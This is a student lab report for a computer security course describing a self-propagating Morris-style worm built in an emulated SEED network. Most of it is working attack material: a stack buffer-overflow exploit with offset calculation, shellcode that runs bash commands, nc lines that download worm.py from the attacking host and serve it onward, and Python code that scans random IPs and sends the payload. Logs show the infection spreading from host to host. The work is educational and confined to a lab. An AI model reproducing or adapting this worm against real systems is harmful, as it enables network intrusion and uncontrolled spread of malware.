Report

on

Malware Design: Morris Worm

Course number: CSE 406

Course title: Computer Security Sessional

Submitted by:

Tanjim Ahmed Khan

Student ID: 1705032

Submitted on: 7 August, 2022

Introduction:

The Morris worm (November 1988) was one of the oldest computer worms distributed via the Internet, and the first to gain significant mainstream media attention. While it is old, the techniques used by most worms today are still the same, such as the WannaCry ransomware in 2017. They involve two main parts: attack and self-duplication. The attack part exploits a vulnerability (or a few of them), so a worm can get entry to another computer. The self-duplication part is to send a copy of itself to the compromised machine, and then launch the attack from there. A detailed analysis of the Morris worm was given by Spafford.
There were 4 tasks in this assignment. SEED Ubuntu 20.04 has been used for all them.

Task 1 – Attack Any Target Machine:

The target machine's IP address is 10.151.0.71. First, we used an echo message to make the target machine print its frame pointer and buffer address inside *bof()*. Then we calculated the return address and the offset and modified the worm file. After running the worm file, shell was opened in the target machine.

```
root@c712eddb4d6f:/# echo hello | nc -w2 10.151.0.71 9090
```

```
as151h-host_0-10.151.0.71          | Starting stack
as151h-host_0-10.151.0.71          | Input size: 6
as151h-host_0-10.151.0.71          | Frame Pointer (ebp) inside bof():  0xffffd5f8
as151h-host_0-10.151.0.71          | Buffer's address inside bof():     0xffffd588
as151h-host_0-10.151.0.71          | ==== Returned Properly ====
```

```
ebp = 0xffffd5f8
buff = 0xffffd588
ret    = ebp + 10  # Need to change
offset = ebp - buff + 4  # Need to change
```

```
root@c712eddb4d6f:/# ./worm.py
The worm has arrived on this host ^_^
**********************************
>>>>> Attacking 10.151.0.71 <<<<<
**********************************
PING 1.2.3.4 (1.2.3.4) 56(84) bytes of data.
```

```
as151h-host_0-10.151.0.71          | Starting stack
as151h-host_0-10.151.0.71          | (^_^) Shellcode is running (^_^)
```

Task 2 – Self Duplication:

A TCP server will run in the attacker machine. Inside the shell code, we have inserted code for starting a client in the target machine. The client will request for *worm.py* to the server and eventually get it.

```
shellcode= (
   "\xeb\x2c\x59\x31\xc0\x88\x41\x19\x88\x41\x1c\x31\xd2\xb2\xd0\x88"
   "\x04\x11\x8d\x59\x10\x89\x19\x8d\x41\x1a\x89\x41\x04\x8d\x41\x1d"
   "\x89\x41\x08\x31\xc0\x89\x41\x0c\x31\xd2\xb0\x0b\xcd\x80\xe8\xcf"
   "\xff\xff\xff"
   "AAAABBBBCCCCDDDD"
   "/bin/bash*"
   "-c*"
   # You can put your commands in the following three lines.
   # Separating the commands using semicolons.
   # Make sure you don't change the length of each line.
   # The * in the 3rd line will be replaced by a binary zero.
   " /bin/nc -w5 10.151.0.72 8080 > /worm.py                    "
   "                                                           *"
   "123456789012345678901234567890123456789012345678901234567890"
   # The last line (above) serves as a ruler, it is not used
).encode('latin-1')
```

```
root@c712eddb4d6f:/# nc -lnvk 8080 < worm.py
Listening on 0.0.0.0 8080
```

```
root@c712eddb4d6f:/# ./worm.py
The worm has arrived on this host ^_^
**********************************
>>>>> Attacking 10.151.0.71 <<<<<
**********************************
PING 1.2.3.4 (1.2.3.4) 56(84) bytes of data.
```

```
root@c2d0c722bea8:/# ls
bin  boot  etc   ifinfo.txt       lib    lib64   media  myfile  proc  run   seedemu_sniffer  srv       sys  usr  worm.py
bof  dev   home  interface_setup  lib32  libx32  mnt    opt     root  sbin  seedemu_worker   start.sh  tmp  var
```

```
root@c712eddb4d6f:/# nc -lnvk 8080 < worm.py
Listening on 0.0.0.0 8080
Connection received on 10.151.0.71 60742
```

Task 3 – Propagation:

After the target gets the worm file, the file will be executed and a server will be started in the target. Thus, it can start working as an attacker and the worm will start to propagate in the network.

```
myIP = socket.gethostbyname(socket.gethostname())
if myIP[:3] == '127':
   myIP = '10.151.0.1'

# You can use this shellcode to run any command you want
shellcode= (
   "\xeb\x2c\x59\x31\xc0\x88\x41\x19\x88\x41\x1c\x31\xd2\xb2\xd0\x88"
   "\x04\x11\x8d\x59\x10\x89\x19\x8d\x41\x1a\x89\x41\x04\x8d\x41\x1d"
   "\x89\x41\x08\x31\xc0\x89\x41\x0c\x31\xd2\xb0\x0b\xcd\x80\xe8\xcf"
   "\xff\xff\xff"
   "AAAABBBBCCCCDDDD"
   "/bin/bash*"
   "-c*"
   # You can put your commands in the following three lines.
   # Separating the commands using semicolons.
   # Make sure you don't change the length of each line.
   # The * in the 3rd line will be replaced by a binary zero.
   " nc -w5 " + myIP + " 8088 > /worm.py;                    "
   " python3 /worm.py & nc -lnv 8088 < /worm.py;                "
   "                                                            "
   "                                                          *"
   "12345678901234567890123456789012345678901234567890123456789012345678901234567890"
   # The last line (above) serves as a ruler, it is not used
).encode('latin-1')
```

```
# Find the next victim (return an IP address).
# Check to make sure that the target is alive.
def getNextTarget():
    return '10.' + str(randint(151,155)) + '.0.' + str(randint(70,80))
```

```
# Launch the attack on other servers
while True:
    targetIP = getNextTarget()
    try:
      output = subprocess.check_output(f"ping -q -c1 -W1 {targetIP}", shell=True)
    except subprocess.CalledProcessError:
      print(f"{targetIP} is not alive", flush=True)
      continue
    result = output.find(b'1 received')
    if result == -1:
        print(f"{targetIP} is not alive", flush=True)
        continue
    print(f"*** {targetIP} is alive, launch the attack", flush=True)

    # Send the malicious payload to the target host
    print(f"**********************************", flush=True)
    print(f">>>>> Attacking {targetIP} <<<<<", flush=True)
    print(f"**********************************", flush=True)
    subprocess.run([f"cat badfile | nc -w3 {targetIP} 9090"], shell=True)

    # Give the shellcode some time to run on the target host
    time.sleep(1)


    # Sleep for 10 seconds before attacking another host
    time.sleep(10)

    # Remove this line if you want to continue attacking others
    # exit(0)
```

```
[08/07/22]seed@VM:~/.../worm$ nc -lnv 8088 < worm.py
Listening on 0.0.0.0 8088
```

```
[08/07/22]seed@VM:~/.../worm$ ./worm.py
The worm has arrived on this host ^_^
PING 1.2.3.4 (1.2.3.4) 56(84) bytes of data.
10.154.0.79 is not alive
10.155.0.76 is not alive
10.151.0.80 is not alive
*** 10.153.0.72 is alive, launch the attack
**********************************

>>>>> Attacking 10.153.0.72 <<<<<
**********************************

10.152.0.78 is not alive
10.155.0.78 is not alive
^C
```

```
as153h-host_1-10.153.0.72 | Starting stack
as153h-host_1-10.153.0.72 | Listening on 0.0.0.0 8088
as153h-host_1-10.153.0.72 | The worm has arrived on this host ^_^
as153h-host_1-10.153.0.72 | 10.155.0.74 is not alive
as153h-host_1-10.153.0.72 | 10.154.0.75 is not alive
as153h-host_1-10.153.0.72 | 10.152.0.77 is not alive
as153h-host_1-10.153.0.72 | 10.155.0.80 is not alive
as153h-host_1-10.153.0.72 | *** 10.151.0.73 is alive, launch the attack
as153h-host_1-10.153.0.72 | **********************************
as153h-host_1-10.153.0.72 | >>>>> Attacking 10.151.0.73 <<<<<
as153h-host_1-10.153.0.72 | **********************************
as151h-host_2-10.151.0.73 | Starting stack
as153h-host_1-10.153.0.72 | Connection received on 10.151.0.73 40894
as151h-host_2-10.151.0.73 | Listening on 0.0.0.0 8088
as151h-host_2-10.151.0.73 | The worm has arrived on this host ^_^
as151h-host_2-10.151.0.73 | 10.154.0.77 is not alive
as151h-host_2-10.151.0.73 | 10.152.0.70 is not alive
as151h-host_2-10.151.0.73 | 10.154.0.79 is not alive
as151h-host_2-10.151.0.73 | 10.152.0.78 is not alive
as151h-host_2-10.151.0.73 | 10.155.0.73 is not alive
as151h-host_2-10.151.0.73 | 10.151.0.80 is not alive
as151h-host_2-10.151.0.73 | 10.151.0.76 is not alive
as153h-host_1-10.153.0.72 | *** 10.153.0.74 is alive, launch the attack
as153h-host_1-10.153.0.72 | **********************************
as153h-host_1-10.153.0.72 | >>>>> Attacking 10.153.0.74 <<<<<
as153h-host_1-10.153.0.72 | **********************************
as153h-host_3-10.153.0.74 | Starting stack
```

Task 4 – Preventing Self Infection:

We have used the command *test* to check whether *worm.py* already exists.

```
# You can use this shellcode to run any command you want
shellcode= (
   "\xeb\x2c\x59\x31\xc0\x88\x41\x19\x88\x41\x1c\x31\xd2\xb2\xd0\x88"
   "\x04\x11\x8d\x59\x10\x89\x19\x8d\x41\x1a\x89\x41\x04\x8d\x41\x1d"
   "\x89\x41\x08\x31\xc0\x89\x41\x0c\x31\xd2\xb0\x0b\xcd\x80\xe8\xcf"
   "\xff\xff\xff"
   "AAAABBBBCCCCDDDD"
   "/bin/bash*"
   "-c*"
   # You can put your commands in the following three lines.
   # Separating the commands using semicolons.
   # Make sure you don't change the length of each line.
   # The * in the 3rd line will be replaced by a binary zero.
   #" nc -w5 " + myIP + " 8088 > /worm.py;                    "
   "test -f /worm.py || nc -w5 " + myIP + " 8088 > /worm.py;"
   " python3 /worm.py & nc -lnv 8088 < /worm.py;                "
   "                                                            "
   "                                                           *"
   "12345678901234567890123456789012345678901234567890123456789012345678901234567890"
   # The last line (above) serves as a ruler, it is not used
).encode('latin-1')
```

```
as151h-host_1-10.151.0.72           | Starting stack
as151h-host_1-10.151.0.72           | Listening on 0.0.0.0 8088
as151h-host_1-10.151.0.72           | worm already here!
```